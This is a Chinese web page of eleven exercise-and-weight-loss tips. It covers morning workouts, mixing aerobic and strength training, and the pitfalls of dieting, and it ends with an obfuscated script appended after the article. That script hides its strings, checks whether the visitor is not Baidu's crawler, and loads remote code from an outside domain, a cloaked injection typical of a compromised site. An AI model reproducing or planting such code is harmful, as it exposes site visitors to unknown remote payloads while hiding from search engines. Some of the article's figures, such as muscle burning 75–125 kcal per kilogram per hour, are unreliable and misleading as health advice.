當(dāng)前位置:首頁 > 減肥 > 運(yùn)動(dòng)減肥 > 正文

11個(gè)減肥策略提升運(yùn)動(dòng)減肥效率

2016-02-17 13:14:01  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:飲食和運(yùn)動(dòng)都可以改變新陳代謝的速度。如果你在睡醒后馬上運(yùn)動(dòng),會(huì)讓新陳代謝提早上升,并在一天中全盤升高,消耗更多的熱量

11個(gè)減肥策略提升運(yùn)動(dòng)減肥效率

11個(gè)減肥策略提升運(yùn)動(dòng)減肥效率

1、有氧運(yùn)動(dòng)與肌力運(yùn)動(dòng)相輔相成

有氧運(yùn)動(dòng)可以強(qiáng)效燃脂,肌力運(yùn)動(dòng)則強(qiáng)化肌肉、緊實(shí)線條,并且提升代謝,兩者相輔相成。

想減重,這2種運(yùn)動(dòng)都不能偏廢。但初期應(yīng)以有氧運(yùn)動(dòng)為主、肌力為輔,來降低體脂肪。到了1、2個(gè)月后,為預(yù)防基礎(chǔ)代謝率遲緩,使體重下降的速度變慢或停滯,就必須再增加肌力運(yùn)動(dòng)的時(shí)間,才能持續(xù)減重。

想要減肥,一定要嚴(yán)格執(zhí)行每周運(yùn)動(dòng)3-5天30-60分鐘有氧與肌力交替?;蛎恐苓\(yùn)動(dòng)3-5天,每次運(yùn)動(dòng)60-90分鐘。如果真的無法每天排出30-60分鐘的時(shí)間,分次累計(jì)的零碎時(shí)間運(yùn)動(dòng)法,也是可以的。如此持續(xù)3個(gè)月,一定會(huì)瘦得漂亮!

2、早上運(yùn)動(dòng)是減肥最佳時(shí)機(jī)

同樣是花60分鐘運(yùn)動(dòng),最好、最有效率的時(shí)機(jī)是在早上。因?yàn)槿藗円惶熘械男玛惔x都是遵循下面的模式:你清晨醒來之前,新陳代謝是處于最低點(diǎn)。然后慢慢上升,到晚餐后達(dá)到頂點(diǎn),之后保持水平,直到你上床睡覺,才漸漸下滑。

飲食和運(yùn)動(dòng)都可以改變新陳代謝的速度。如果你在睡醒后馬上運(yùn)動(dòng),會(huì)讓新陳代謝提早上升,并在一天中全盤升高,消耗更多的熱量。所以運(yùn)動(dòng)真正的好處是,除了運(yùn)動(dòng)時(shí)可以消耗熱量,運(yùn)動(dòng)之后6-8小時(shí)內(nèi),還能比平時(shí)多消耗180-400卡。

如果1周能做5次清晨健走,每次完成4500公尺的距離。除了運(yùn)動(dòng)時(shí)可以消耗250-400卡,再加上運(yùn)動(dòng)后的“附加價(jià)值”180-400卡,1個(gè)月可以減少1、8公斤的脂肪,1年就可以減少21公斤。這21公斤中,減掉的不是水分或肌肉,而是你最需要減少的脂肪!

安排自己在早上的時(shí)間運(yùn)動(dòng),可收事半功倍之效。提早起床1小時(shí)不是辦不到的問題,而是愿意與否的問題。早起運(yùn)動(dòng)后、沖澡,精神抖擻、氣色紅潤的開始一天的工作,你會(huì)發(fā)現(xiàn)人生更積極、有效率!

3、讓心跳加快但別太勉強(qiáng)

減肥的效果如何,與你運(yùn)動(dòng)多久的時(shí)間有很大的關(guān)系。所以,最好不要選擇那種做一下下,就會(huì)讓你累得半死的運(yùn)動(dòng)。舉例來說,做50個(gè)伏地挺身雖然不需要很久的時(shí)間(只要你做的完),但是,你大概會(huì)感到很吃力吧!

但若你以快步走(好像比上班前趕著打卡還慢一點(diǎn)點(diǎn))的速度走10分鐘來替代,你會(huì)感到既輕松又愉快,而且,它消耗的熱量是伏地挺身的10倍呢!

4、運(yùn)動(dòng)強(qiáng)度夠

有氧運(yùn)動(dòng)的運(yùn)動(dòng)強(qiáng)度,至少要達(dá)最大心跳率的60%以上。所以,像是周末逛百貨公司走馬看花,雖然一天下來也是腳酸腿麻,但燃脂效率還不如1小時(shí)速度較快、強(qiáng)度較強(qiáng)的健走運(yùn)動(dòng)或踩踏步機(jī)。

要減肥的人,做強(qiáng)度適當(dāng)?shù)挠醒踹\(yùn)動(dòng)至少要持續(xù)30分鐘以上,這樣才能燃燒更多脂肪。除了能讓你的體重節(jié)節(jié)下降外,還能增加心肺功能、柔軟度等。記得要選擇能讓你有些喘、又不會(huì)太喘的運(yùn)動(dòng)強(qiáng)度,讓你覺得有點(diǎn)累,但還是可以持續(xù)30分鐘以上。

5、交叉訓(xùn)練快速燃脂減肥事半功倍

多數(shù)人都知道,想快速而健康地減掉肥油,應(yīng)該做30-60分鐘有氧運(yùn)動(dòng)!但是每天騰出時(shí)間來運(yùn)動(dòng),不是每個(gè)人都做得到的。

近年很風(fēng)行的交叉訓(xùn)練Cross Training將肌力、有氧交錯(cuò)進(jìn)行,燃脂效率比只做有氧至少高出15%。只要做較少時(shí)間的運(yùn)動(dòng),一樣能達(dá)到不錯(cuò)的效果,讓不少忙碌的現(xiàn)代人也能輕松運(yùn)動(dòng)減重。

交叉訓(xùn)練中的肌力運(yùn)動(dòng)能促進(jìn)血液循環(huán),讓血流更順暢,加上進(jìn)行有氧運(yùn)動(dòng)時(shí)吸入的氧氣,可提升肌肉的燃脂能力,更能讓瘦身效果再加倍!同時(shí),交叉訓(xùn)練不但變化性高,其中的肌力運(yùn)動(dòng)還能調(diào)節(jié)有氧運(yùn)動(dòng)累積的疲憊,減少乳酸囤積,也讓身體感到更輕盈!

你可以每5分鐘有氧運(yùn)動(dòng)搭配1分鐘的肌力運(yùn)動(dòng),如此交叉進(jìn)行6-7個(gè)回合,約30-60分鐘。例如5分鐘踏步機(jī)+1分鐘啞鈴操、5分鐘踏步機(jī)+1分鐘啞鈴操。

6、節(jié)食瘦身代謝下降更難瘦

節(jié)食,攝取的熱量低于基礎(chǔ)代謝率,就會(huì)會(huì)造成肌肉的流失,即使瘦下來也是松垮垮的!當(dāng)你節(jié)食一天,身體的代謝率就會(huì)自然降低15-30%之多,雖然你吃得少,但身體的消耗也少了,這個(gè)結(jié)果除了使你減重更加困難,也會(huì)影響健康。

更糟的是,中樞神經(jīng)會(huì)因此受到刺激而提升食欲,讓你接下來吃得更多。如果你以正常均衡的飲食配合運(yùn)動(dòng)來減肥,就可以避免新陳代謝降低的問題。有了運(yùn)動(dòng),更要正常飲食,絕對不要只求速效。

7、成功減肥后維持每周3天運(yùn)動(dòng)

運(yùn)動(dòng)是減肥最有效又最持久的方法。長久維持健康的體重標(biāo)準(zhǔn)和得體的外表是一輩子的事,選擇運(yùn)動(dòng)作為減重的最好方法就是,將運(yùn)動(dòng)變成你日常生活的一部份。

達(dá)成了減重的目標(biāo),也不要急著把運(yùn)動(dòng)鞋束之高閣!此時(shí)你應(yīng)該已經(jīng)充分體會(huì)到持續(xù)地運(yùn)動(dòng),讓你變得更快樂、更健康!

你可以將一周5-6次的運(yùn)動(dòng)調(diào)整為一周3次,繼續(xù)為了增進(jìn)你的健康水平、和維持減重的成果而運(yùn)動(dòng)。

8、開始運(yùn)動(dòng)頭2周別量體重

你沒看錯(cuò)!除了減重的第1天記下原始體重之外,當(dāng)你一開始持續(xù)運(yùn)動(dòng),前2周請忽略體重?cái)?shù)字!

因?yàn)?,剛開始運(yùn)動(dòng),肌肉逐日增加,燃脂卻沒有那么快,體重一定不降反升,如果你用的是體脂計(jì)就會(huì)看到……雖然體重增加(或持平),但體脂是日日下降的。只要你不要因?yàn)樽隽诉\(yùn)動(dòng),而放心大吃大喝,保證在2-3周后會(huì)看到體重下降的好結(jié)果!

9、有氧運(yùn)動(dòng)才能有效燃脂

有氧運(yùn)動(dòng)是醫(yī)界公認(rèn)最有效的燃脂方法,到底什么是有氧運(yùn)動(dòng)?

只要是全身性、可以持續(xù)性動(dòng)作的,比如,健走、慢跑、騎腳踏車、游泳、有氧舞蹈、直排輪、羽球、網(wǎng)球、跳繩等。只要持續(xù)30分鐘以上,都是絕佳的“有氧運(yùn)動(dòng)”。減肥運(yùn)動(dòng),一定要以有氧為主,效率才會(huì)高!

準(zhǔn)備一雙好的運(yùn)動(dòng)鞋,吸汗透氣衣服;至少持續(xù)做30-60分鐘的有氧運(yùn)動(dòng),就能達(dá)到燃脂目的。運(yùn)動(dòng)前后,需各做3-5分鐘的暖身及緩和運(yùn)動(dòng),像散步、輕快跳躍等。

10、肌力運(yùn)動(dòng)增強(qiáng)塑身效果

肌力運(yùn)動(dòng),簡單地說,就是增加肌肉負(fù)重能力的鍛煉法,又稱無氧運(yùn)動(dòng)或重量訓(xùn)練。像是啞鈴、彈力繩、仰臥起坐、伏地挺身、傳統(tǒng)瑜珈都是屬于肌力運(yùn)動(dòng)。

肌力運(yùn)動(dòng)可以塑造易瘦體質(zhì),如果你不希望代謝節(jié)節(jié)下降,減重變得愈來愈困難,一定要做肌力運(yùn)動(dòng)。因?yàn)榧×Σ賻湍沐憻挸鰜淼募∪?,正是燃燒脂肪的主力!?體每1kg脂肪每小時(shí)僅燃燒4卡熱量,1kg肌肉,每小時(shí)卻能燃燒75-125卡(因人、運(yùn)動(dòng)強(qiáng)度與時(shí)間而異)。而且肌肉會(huì)讓你看起來更結(jié)實(shí),瘦下來后, 線條才會(huì)更緊致有彈性。

如果你的減重運(yùn)動(dòng)是以肌力操為主,效果也會(huì)打折扣,因?yàn)?,肌力運(yùn)動(dòng)并不能持續(xù)增加身體的攝氧量,想要燃燒脂肪就難上加難!不做有氧,只做肌力(不燃燒多余的脂肪、但又不斷鍛煉肌肉),很可能讓身體像是五花肉,在一層肥油外夾雜著瘦肉,并不健康!

在剛開始每次的有氧運(yùn)動(dòng)中可以加入10分鐘肌力運(yùn)動(dòng),比如,踏步機(jī)30分鐘+啞鈴操10分鐘?;蚴敲恐艿倪\(yùn)動(dòng)計(jì)畫加入2天肌力訓(xùn)練,有助提升代謝。

11、變化運(yùn)動(dòng)種類提升樂趣

健走搭配慢跑或踩踏步機(jī),或者刻意將跑步機(jī)調(diào)不同頻段,增加運(yùn)動(dòng)的難度與挑戰(zhàn),「變化不同的運(yùn)動(dòng)種類」也可以幫助求新求變的你,排除每天都做同一種運(yùn)動(dòng)的無聊感。。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}